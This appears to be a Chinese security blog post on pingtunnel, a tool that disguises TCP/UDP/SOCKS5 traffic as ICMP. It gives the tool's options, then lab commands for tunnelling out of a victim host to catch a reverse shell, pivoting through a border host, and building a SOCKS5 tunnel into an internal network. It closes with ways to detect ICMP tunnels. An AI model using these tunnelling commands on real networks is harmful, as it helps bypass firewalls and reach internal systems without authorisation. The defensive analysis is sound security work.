Tips +1
工具简介
pingtunnel是来自腾讯大佬的杰作,它是用Go编写的内网隧道穿透工具,可以把 tcp/udp/sock5 流量伪装成 icmp 流量进行转发的工具,跨平台
条件:
-
目标机(客户端)可以ping出去
-
目标机可能要管理员权限
-
windows要装有wincap
参数详情
┌──(root㉿kali)-[/]
└─# ./pingtunnel -h
通过伪造ping,把tcp/udp/sock5流量通过远程服务器转发到目的服务器上。用于突破某些运营商封锁TCP/UDP流量。
By forging ping, the tcp/udp/sock5 traffic is forwarded to the destination server through the remote server. Used to break certain operators to block TCP/UDP traffic.
Usage:
// server
pingtunnel -type server
// client, Forward udp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455
// client, Forward tcp
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -t SERVER_IP:4455 -tcp 1
// client, Forward sock5, implicitly open tcp, so no target server is needed
pingtunnel -type client -l LOCAL_IP:4455 -s SERVER_IP -sock5 1
-type 服务器或者客户端
client or server
服务器参数server param:
-key 设置的纯数字密码,默认0, 参数为int类型,范围从0-2147483647,不可夹杂字母特殊符号
Set password, default 0
-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off
-noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off
-loglevel 日志文件等级,默认info
log level, default is info
-maxconn 最大连接数,默认0,不受限制
the max num of connections, default 0 is no limit
-maxprt server最大处理线程数,默认100
max process thread in server, default 100
-maxprb server最大处理线程buffer数,默认1000
max process thread's buffer in server, default 1000
-conntt server发起连接到目标地址的超时时间,默认1000ms
The timeout period for the server to initiate a connection to the destination address. The default is 1000ms.
客户端参数client param:
-l 本地的地址,发到这个端口的流量将转发到服务器
Local address, traffic sent to this port will be forwarded to the server
-s 服务器的地址,流量将通过隧道转发到这个服务器
The address of the server, the traffic will be forwarded to this server through the tunnel
-t 远端服务器转发的目的地址,流量将转发到这个地址
Destination address forwarded by the remote server, traffic will be forwarded to this address
-timeout 本地记录连接超时的时间,单位是秒,默认60s
The time when the local record connection timed out, in seconds, 60 seconds by default
-key 设置的密码,默认0
Set password, default 0
-tcp 设置是否转发tcp,默认0
Set the switch to forward tcp, the default is 0
-tcp_bs tcp的发送接收缓冲区大小,默认1MB
Tcp send and receive buffer size, default 1MB
-tcp_mw tcp的最大窗口,默认20000
The maximum window of tcp, the default is 20000
-tcp_rst tcp的超时发送时间,默认400ms
Tcp timeout resend time, default 400ms
-tcp_gz 当数据包超过这个大小,tcp将压缩数据,0表示不压缩,默认0
Tcp will compress data when the packet exceeds this size, 0 means no compression, default 0
-tcp_stat 打印tcp的监控,默认0
Print tcp connection statistic, default 0 is off
-nolog 不写日志文件,只打印标准输出,默认0
Do not write log files, only print standard output, default 0 is off
-noprint 不打印屏幕输出,默认0
Do not print standard output, default 0 is off
-loglevel 日志文件等级,默认info
log level, default is info
-sock5 开启sock5转发,默认0
Turn on sock5 forwarding, default 0 is off
-profile 在指定端口开启性能检测,默认0不开启
Enable performance detection on the specified port. The default 0 is not enabled.
-s5filter sock5模式设置转发过滤,默认全转发,设置CN代表CN地区的直连不转发
Set the forwarding filter in the sock5 mode. The default is full forwarding. For example, setting the CN indicates that the Chinese address is not forwarded.
-s5ftfile sock5模式转发过滤的数据文件,默认读取当前目录的GeoLite2-Country.mmdb
The data file in sock5 filter mode, the default reading of the current directory GeoLite2-Country.mmdb
实验环境
1、直连出网
攻击机kali ip:172.23.119.128
受害机器ubuntu ip:172.23.119.10
1、攻击机(服务端)启动隧道并关闭系统默认的 ping
sudo ./pingtunnel -type server
或者
sudo ./pingtunnel -type server -key 123456
echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all(可选)
2、目标机器
目标机器监听本地8888端口,连接服务端(kali)172.23.119.128 ,将本地监听的数据转发到服务端的7777端口
./pingtunnel -type client -l :8888 -s 192.168.10.128 -t 192.168.10.128:7777 -tcp 1 -key 123456
3、反弹shell
我们在kali 上监听7777端口
目标机器上执行如下命令
kali上成功收到目标机器的shell
2、端口转发
攻击机kali ip:172.23.119.128
跳板机器—ubuntu ip1:172.23.119.10 ip2:192.168.100.20
内外机器—ubuntu ip1:192.168.100.50 ip2:192.168.88.60
1、kali
kali 上监听29999端口,将流量转发给边界主机
pingtunnel -type client -s 172.23.119.10:28848 -t 192.168.100.50:8848 -tcp 1
2、跳板机器-—ubuntu ip1:172.23.119.10 ip2:192.168.100.50
ptunnel -type server
3、浏览器访问内外127.0.0.1:29999服务
流量上可以看到转发的流量最终到内外主机的8848
3、socks5隧道
实验环境同上,通过边界主机搭建socks5隧道,访问内外主机
1、kali
pingtunnel -type client -l :1080 -s 172.23.119.10 -sock5 1
2、边界主机
ptunnel -type server
3、kali配置socks5
流量分析
数据包执行命令明文显示
从执行命令可以看到字节大于64,执行的命令明文显示
执行的命令显示如下
异常ICMP数据包长度
ifconfig回显如下,字节长度974
异常ICMP数据包数量
异常ICMP数据包数量 1s内有十几个包
防御ICMP隧道攻击的方法
许多网络管理员会阻止ICMP通信进出站点。但是出站方向,ICMP通信是被允许的,而且目前大多数的网络和边界设备不会过滤ICMP流量。使用ICMP隧道时会产生大量的ICMP数据包,我们可以通过wireshark进行ICMP数据包分析以检测恶意ICMP流量,具体方法如下。
.检测同一来源的ICMP数据包的数量。一个正常的ping 命令每秒最多发送两个数据包,而使用ICMP隧道的浏览器会在很短的时间内产生上千个ICMP数据包。
.注意那些Payload大于64bit的ICMP数据包
.寻找相应数据包中的payload与请求数据包中的payload不一致的ICMP数据包
.检查ICMP数据包的协议标签。例如,icmptunnel会在所有的ICMP payload前面添加"TUNL"标记来标识隧道----这就是特征
参考链接:
https://cloud.tencent.com/developer/article/2130059
https://www.cnblogs.com/lzkalislw/p/15585980.html
End
“点赞、在看与分享都是莫大的支持”
原文始发于微信公众号(贝雷帽SEC):icmp协议隧道穿透之pingtunnel
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论